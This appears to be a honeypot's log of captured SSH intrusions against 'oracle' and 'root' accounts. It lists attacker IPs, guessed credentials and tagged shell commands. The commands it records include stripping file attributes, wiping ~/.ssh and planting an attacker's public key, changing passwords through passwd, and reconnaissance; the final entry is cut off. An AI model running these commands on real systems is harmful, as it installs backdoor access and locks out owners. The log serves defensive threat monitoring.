$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 weary_cipher_root (91.201.216.61) — Almaty, Kazakhstan · 1 session · 2 cmds

2026-05-10 22:25 EDT · as oracle/os10+ZTE

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 haywire_silk_root_81 (120.48.147.81) — Beijing, China · 1 session · 2 cmds

2026-05-10 22:18 EDT · as oracle/test123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 unhinged_hawker_root (52.237.80.79) — Singapore, Singapore · 1 session · 2 cmds

2026-05-10 21:50 EDT · as oracle/iflytek

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 haywire_mekong_root (103.118.28.15) — Liên Chiểu, Vietnam · 1 session · 2 cmds

2026-05-10 20:33 EDT · as oracle/oracle2024

file attribute tampering → SSH key persistence (repeated file attribute tampering 4x)

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 jittery_burger_root (43.166.245.172) — Ashburn, United States · 1 session · 2 cmds

2026-05-10 19:51 EDT · as oracle/oracle2021

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 sneaky_hawker_root_204 (45.78.198.204) — Singapore, Singapore · 2 sessions · 4 cmds

2026-05-10 19:05 EDT · as oracle/abc123, oracle/abcd1234

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

🎭 molten_hawker_root (43.156.21.38) — Singapore, Singapore · 1 session · 2 cmds

2026-05-10 18:58 EDT · as oracle/welcome

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 murky_dragon_root (180.76.104.44) — Beijing, China · 1 session · 20 cmds

2026-05-10 18:46 EDT · as oracle/Root1234

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "Root1234\ni15RPVfRcQsC\ni15RPVfRcQsC"|passwd|bash

$ Enter new UNIX password:

$ echo "Root1234\ni15RPVfRcQsC\ni15RPVfRcQsC\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rusty_garuda_root (103.191.14.243) — Utan, Indonesia · 1 session · 2 cmds

2026-05-10 18:43 EDT · as oracle/oralce

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 feral_lantern_root (114.242.24.31) — Beijing, China · 1 session · 20 cmds

2026-05-10 18:37 EDT · as oracle/mbs12!*!g#

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "mbs12!*!g#\nhYU0j5KLXH1s\nhYU0j5KLXH1s"|passwd|bash

$ Enter new UNIX password:

$ echo "mbs12!*!g#\nhYU0j5KLXH1s\nhYU0j5KLXH1s\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 stoic_silk_root (106.13.114.161) — Beijing, China · 1 session · 20 cmds

2026-05-10 18:09 EDT · as oracle/P@ssw0rd

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "P@ssw0rd\nCxnooffUPJYu\nCxnooffUPJYu"|passwd|bash

$ Enter new UNIX password:

$ echo "P@ssw0rd\nCxnooffUPJYu\nCxnooffUPJYu\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 stoic_monsoon_root (3.111.219.98) — Mumbai, India · 1 session · 1 cmd

2026-05-10 18:01 EDT · as admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 midnight_mango_root (124.109.2.211) — Bangkok Yai, Thailand · 1 session · 2 cmds

2026-05-10 17:53 EDT · as oracle/123.com

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 sneaky_stein_root (95.208.74.83) — Biberach an der Riss, Germany · 1 session · 2 cmds

2026-05-10 17:36 EDT · as oracle/oracle@123456

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 cryptic_phantom_root (185.216.134.126) — Damascus, Syria · 2 sessions · 4 cmds

2026-05-09 23:37 EDT · as oracle/!QAZ2wsx, oracle/1q2w3e4r

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

🎭 savage_yankee_root (209.99.184.143) — San Francisco, United States · 1 session · 2 cmds

2026-05-10 13:23 EDT · as oracle/qazwsx

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 feral_silk_root (118.145.237.236) — Haidian, China · 1 session · 20 cmds

2026-05-10 13:16 EDT · as oracle/Oracle123

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "Oracle123\nx2VAnRhAmY1D\nx2VAnRhAmY1D"|passwd|bash

$ Enter new UNIX password:

$ echo "Oracle123\nx2VAnRhAmY1D\nx2VAnRhAmY1D\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 vapor_steppe_root (185.16.214.226) — Moscow, Russia · 1 session · 2 cmds

2026-05-10 12:52 EDT · as oracle/qazwsx

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 lurking_jade_root (120.55.36.109) — Hangzhou, China · 1 session · 1 cmd

2026-05-10 11:18 EDT · as root/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 drowsy_tiger_root (20.235.157.149) — Chennai, India · 1 session · 1 cmd

2026-05-10 10:39 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 grumpy_hanbok_root (211.186.79.173) — Dalseong-gun, South Korea · 1 session · 2 cmds

2026-05-10 08:52 EDT · as oracle/ORACLE

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 unhinged_neon_root (47.243.90.117) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-05-10 08:27 EDT · as oracle/test1234

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 feral_monet (46.105.161.242) — Roubaix, France · 1 session · 1 cmd

2026-05-10 07:56 EDT · as user/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 molten_panda_root_222 (101.201.233.222) — Beijing, China · 1 session · 1 cmd

2026-05-10 07:18 EDT · as oracle/oracle123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 grumpy_panda_root (14.18.122.240) — Guangzhou, China · 2 sessions · 22 cmds

2026-05-07 11:37 EDT · as oracle/Oracle2022, oracle/oracle21

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "Oracle2022\nSxwju46qS7Dj\nSxwju46qS7Dj"|passwd|bash

$ Enter new UNIX password:

$ echo "Oracle2022\nSxwju46qS7Dj\nSxwju46qS7Dj\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 derelict_echo_root (197.5.145.150) — Tunis, Tunisia · 1 session · 2 cmds

2026-05-10 04:02 EDT · as oracle/os10+ZTE

file attribute tampering → SSH key persistence (repeated file attribute tampering 3x)

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 drowsy_wok_root_159 (59.36.80.159) — Shenzhen, China · 1 session · 5 cmds

2026-05-10 03:45 EDT · as root/123456

echo → payload download from C2 → execute from /tmp → '8

$ echo 1 > /dev/null && cat /bin/echo

